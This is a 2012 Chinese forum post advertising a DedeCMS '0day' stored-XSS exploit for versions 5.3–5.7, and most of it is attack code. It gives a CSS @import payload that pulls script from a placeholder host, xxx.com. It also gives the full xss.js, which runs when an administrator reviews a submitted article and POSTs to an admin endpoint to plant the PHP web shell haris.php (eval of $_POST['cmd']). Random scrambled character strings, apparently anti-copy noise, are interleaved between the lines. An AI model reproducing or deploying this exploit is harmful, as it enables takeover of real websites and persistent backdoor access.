中国网络渗透测试联盟
标题:
dedecms xss oday通杀所有版本 可getshell
[打印本页]
作者:
admin
时间:
2012-9-15 13:56
标题:
dedecms xss oday通杀所有版本 可getshell
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
! Y9 X: H1 T; ^# m( k# K3 s
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
8 P8 p/ p3 J) B$ x
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
5 F" E. u n. o$ j
下面说说利用方法。
: [1 W9 } k0 x) I U& d, X* w
条件有2个:
1 c3 {9 N9 G1 Q' R. B! c5 c) V. M
1.开启注册
9 u. P! Z9 L" S/ J( M
2.开启投稿
- K y \7 P% C1 G2 p) ~0 i$ O: }5 x) i
注册会员----发表文章
4 O# b/ A" L( p' O6 l. `" Z
内容填写:
@1 X, `- r% s" P% }- C' l0 P. l
复制代码
$ q% k$ d: F. V4 r( I$ C! u. [; \
<style>@im\port'\
http://xxx.com/xss.css';
</style>
8 y9 a- c# c' Y" J Q% ?) J
新建XSS.Css
" C6 V. Q/ X# Y, D8 y" i, s3 D! I
复制代码
! U6 B) W1 W4 P9 P1 T% H
.body{
1 U/ H$ r# ^, ^8 E
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
: w6 {) x5 ?+ M; }! o7 I
新建xss.js 内容为
+ ~) j3 M( U3 w, E" m
复制代码
$ f* z0 n6 s0 }0 R! ~
1.var request = false;
1 s( u) R: t, }6 r; c5 z
2.if(window.XMLHttpRequest) {
" y; K9 _5 t2 | Y/ D# U9 j
3.request = new XMLHttpRequest();
; U0 ?, K% ? \& b
4.if(request.overrideMimeType) {
6 Y" d0 |4 m% V
5.request.overrideMimeType('text/xml');
# q, d4 [- a' T { B1 T
6.}
1 _/ R* L! L5 b# I) c) s! n9 D1 Q' I
7.} else if(window.ActiveXObject) {
2 M H( j+ f# E, s9 H r! O
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
; }* b$ |: @ b" S8 w
9.for(var i=0; i<versions.length; i++) {
6 q) n/ m8 J- L+ Q
10.try {
7 P! `% \9 E- V2 I2 F/ X
11.request = new ActiveXObject(versions);
c1 {" x* v6 d, g# j
12.} catch(e) {}
2 s6 n! `) v8 i' ]0 n; D# v
13.}
, t8 g6 _5 e7 S. X
14.}
- F/ v" A) i7 s, |1 ?/ b5 P$ l
15.xmlhttp=request;
2 i, D' v( n. O7 G- e- o* H" B% y
16.function getFolder( url ){
9 d) r. t# I0 n
17. obj = url.split('/')
; q* |3 s G5 M6 L7 n k# A
18. return obj[obj.length-2]
: e8 i& z5 d$ {0 g
19.}
9 E' N; \( ^% K# \/ }- m n
20.oUrl = top.location.href;
7 s8 [! G1 M! D& S$ @' h4 x
21.u = getFolder(oUrl);
6 }3 }3 F, m; r, _/ r$ n2 f9 v
22.add_admin();
4 j, I( p: v* `
23.function add_admin(){
7 d! S7 b( `0 O- I$ E2 S3 X
24.var url= "/"+u+"/sys_sql_query.php";
2 w6 r& q6 @* C# @/ X
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
$ Q# |( ~9 r5 d9 L
26.xmlhttp.open("POST", url, true);
( o7 `1 m6 h8 k7 h$ C" S* p0 b
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
/ i: ?& W s; P
28.xmlhttp.setRequestHeader("Content-length", params.length);
+ ^ w/ ]' W9 _& v9 D0 _
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
: m3 _' U% u4 D8 U4 |$ k
30.xmlhttp.send(params);
6 a* m7 `7 t# ^7 i& k+ `
31.}
9 K% {# A. _7 y3 g4 [
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2